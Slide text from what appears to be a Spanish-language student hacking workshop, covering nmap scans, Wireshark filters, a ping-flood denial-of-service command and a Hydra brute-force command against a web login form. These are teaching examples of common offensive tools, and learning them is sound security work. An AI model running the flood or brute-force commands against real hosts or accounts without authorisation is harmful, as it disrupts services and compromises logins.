taller hacking

Taller HackingComunidad GNU Linux

Por :Leonardo Bravocgl.udp.cl

CESAR

Leonardo Bravo - Comunidad GNU Linux - cgl.udp.cl

NMAP


Programa para escaneo de la red, detección de host, puertos , servicios y SO.

nmap $ip

NMAP


Escaneo red completa.

nmap ip/mascara

NMAP


Escaneo red avanzado + reconocimiento de SO

nmap -sS -O -v ip

-sS : Sondeo de medio abierto, no establece conexión TCP, envía un SYN y recibe el ACK, agiliza el escaneo de nmap y detecta si un puerto esta filtrado o abierto-O : Detecta el Sistema Operativo

NMAP


Escaneo de red filtrando por puerto

nmap -p $puerto $ip/24

-p : permite mapear host que poseen uno o más puerto(s) abierto(s)

Ping


Ataque DOS de forma local a un host (router o PC)

Ping host -i 0.002 -s 65500

se debe estar conectado vía cable

Wireshark


Ejecutar con sudo o como root.

Wireshark -filtros


• ip.src==192.168.1.1 —> Dirección IP de Origen.

• ip.dst==192.168.1.1 —> Dirección IP de Destino.

Wireshark -filtros


• tcp.port==80 —> Indicamos los paquetes con el puerto deseado.

• tcp.srcport==80 —> Indicamos el puerto de origen.

• tcp.dstport==80 —> Indicamos el puerto de destino.

Wireshark -filtros


• http.host==”www.google.com” —> Queremos ver los paquetes que tengan a Google como host.

Wireshark -filtros


• http.request.method==”GET” —> Tipo de Petición GET

• http.request.method==”POST” —> Tipo de Petición POST

Wireshark -filtros


l Buscar un string determinado:l Edit->find packet

Ataques por fuerza bruta - Hydra


THC-Hydra es un potente software crackeador de contraseñas por fuerza bruta generado por el grupo The Hackers Choice. Es muy utilizado en la actualidad puesto que soporta múltiples servicios (HTTP, SNMP, IMAP, POP3, Telnet, Cisco, MySQL, Oracle, entre otros) y es multiplataforma.



Creación de diccionario

Diccionario de usuarios.(txt)

Diccionarios de contraseñas posibles. (txt)

Ambos son archivos con extensión txt, los cuales contienen una lista de nombre de usuarios y claves posibles.



Analizamos el login, suponiendo que el formulario se encuentra en “http://sitioweb.cl/blog/login.php”

Analizamos el código del fomulario, para obtener el nombre los campos de usuarios y contraseñas, con el fin de entregarles estos nombres a Hydra para que inicie el ataque

http://sitioweb.cl/blog/login.php



1) Obtenemos el sitio que recibe los parámetros del usuario (nombre y contraseña)

2) Obtenemos el nombre de la variable POST, para el nombre del usuario

3) Obtenemos el nombre de la variables POST, para la contraseña del usuario



Iniciar el ataque:

hydra -l Test -P dicc_passwords.txt www.balblabla.cl http-post-form "/blog/wp-login.php:log=^USER^&pwd=^PASS^:Incorrect"

taller hacking

Documents